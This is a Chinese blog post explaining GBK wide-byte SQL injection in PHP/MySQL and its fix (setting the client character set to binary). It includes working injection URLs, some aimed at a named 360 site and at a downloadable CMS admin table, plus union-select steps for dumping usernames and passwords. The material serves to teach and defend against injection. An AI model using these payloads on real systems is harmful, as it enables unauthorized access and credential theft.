最新消息:

对宽字节注入的理解

MySQL注入 admin 50254浏览 0评论

今天看了bhst的这篇文章

http://www.bhst.org/viewthread.php?tid=1382&extra=page%3D1

了解了宽字符注入的一些东西

1. php 使用 php_escape_shell_cmd这个函数来转义命令行字符串时是作为单字节处理的
2. 而当操作系统设置了GBK、EUC-KR、SJIS等宽字节字符集时候,将这些命令行字符串传递给MySQL处理时是作为多字节处理的

例如这里:

http://localhost/gbk.php?username=%df%27 //多字节编码
%df%27=�’    //看,出单引号了,后面就可以构造了

http://localhost/test/b.php?username=%df%27 or 1%23

sql语句类似这样: SELECT * FROM demo WHERE username = ‘�’ or 1#’ LIMIT 1

这样就可以注入啦

在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节 的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符\的编码为5c,

结果就是:

神马php自带的addslashes,mysql_escape_string,

还有php.ini的magic_quotes_gpc神马的,都无法过滤宽字节搞出来的单引号,注入就来了

现在修补办法就是设置设置客户端的字符集为二进制,

类似这样:

1. mysql_query(“SET CHARACTER SET ‘gbk'”, $conn); //不安全的
2. mysql_query(“SET character_set_connection=gbk, character_set_results=gbk, character_set_client=binary”, $conn); //安全的

当然,这样还不能高枕无忧,还需注意,在下面的使用中,不要将用户输入的东西随便转换编码,

因为一旦转换,宽字符就又来了,上面写的二进制可只有gbk,你要是转成utf-8,那宽字符不是又来了么。

特别记录下,自己以后写代码神马的要注意下,假如要挖洞,也要注意,那个ECSHOP 2.6.x/2.7.x GBK版本的漏洞不就是这样的吗。

原文地址:http://hi.baidu.com/wulinlw/blog/item/c21a106eb865b7d480cb4ae4.html

 

360某站宽字节注入

baoku.360.cn/app/search?kw=

来搜索。

baoku.360.cn/app/search?kw=%df' or 1=1%23
baoku.360.cn/app/search?kw=%df' or 1=2%23

恩宽字节!

稻草人企业站管理系统宽字节注入

偶然在站长下载站下了一套企业建站程序发现人气还蛮高的

下载地址
http://down.chinaz.com/soft/26802.htm

就去测试一下发现了一个宽字节注入漏洞
http://127.0.0.1/search.php?k=10%d5'%20union%20select%201,password,3%20from%20dcr_qy_admin%23

爆密码的效果如下
201105161028145720

MySQL中SQL的单字节注入与宽字节注入

一、单字节SQL注入

MYSQL的SQL注入已经由来已久,以下是普遍采用的注入步骤:

1、在GET参数上加一个/*或者#(mysql专有的注释),判断数据库是否是mysql,比如:
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*

2、猜解某表的字段数,从order by 1一直更改到页面出错为止,就可以得到该表的字段数

注入URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#

对应的SQL: select * from articles where id=1607 or 1=1 order by 10#….
3、使用该表和用户表进行关联查询,在文章列表里就可以看到用户名和密码了。当也要猜解用户表的表名和用户名、密码的字段名,比如上一步得到的字段数是5:

注入的URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 union select  username,password,1,2,3 from user

对应的SQL: select * from articles where id=1607 or 1=1  union select  username,password,1,2,3 from user
这样就可以在界面上看到用户名和密码了。

解决方法:

过滤数据:这并不是罗唆。在合适的地方使用良好的数据过滤,可以减小多数安全隐患,甚至可以消除其中的一部分。

将数据用括号包含:如果你的数据库允许(MySQL 允许),在 SQL 语句中,不论什么类型的数据都用单引号包含起来。

转义数据:一些合法的数据可能在无意中破坏 SQL 语句本身的格式。使用 mysql_escape_string() 或者所使用数据库提供的转移函数。如果没有提供这样的函数,addslashes() 也是不错的最后选择。

二、宽字节注入

宽字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ = %df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。比如:

 

以下为引用的内容:

$conn = mysql_connect(”localhost”,”root”,”2sdfxedd”);
mysql_query(”SET NAMES ‘GBK’”);
mysql_select_db(”test”,$conn);
$user = mysql_escape_string($_GET[‘user’]);
$pass = mysql_escape_string($_GET[‘pass’]);
$sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”;
$result = mysql_query($sql,$conn);
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
$rows[] = $row;
}
?>

则通过以下注入即可:

http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

对应的SQL是:

select * from cms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

解决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。如:

 

以下为引用的内容:

mysql_query(”SET character_set_client=binary”);

转载请注明:jinglingshu的博客 » 对宽字节注入的理解

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (3)

  1. 宽字节注入的方法是输入 %df' 或 %d5' 来绕过对单引号的过滤。因为对单引号过滤的话会在输入的'前自动加上\,变成 %df\' ,其中\为 %5c,所以转换后为 %df%5c' 。当把输入mysql时,如果MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入
    admin11年前 (2014-01-04)回复
  2. mysql_query("set names 'gbk'");//如果是这行,就可以注入了 mysql_query("SET character_set_connection='gbk',character_set_results='gbk',character_set_client=binary");//换成这行,就可以防止注入了
    admin11年前 (2014-01-04)回复
  3. x5OEs8 http://www.y7YwKx7Pm6OnyJvolbcwrWdoEnRF29pb.com
    Mark9年前 (2016-05-11)回复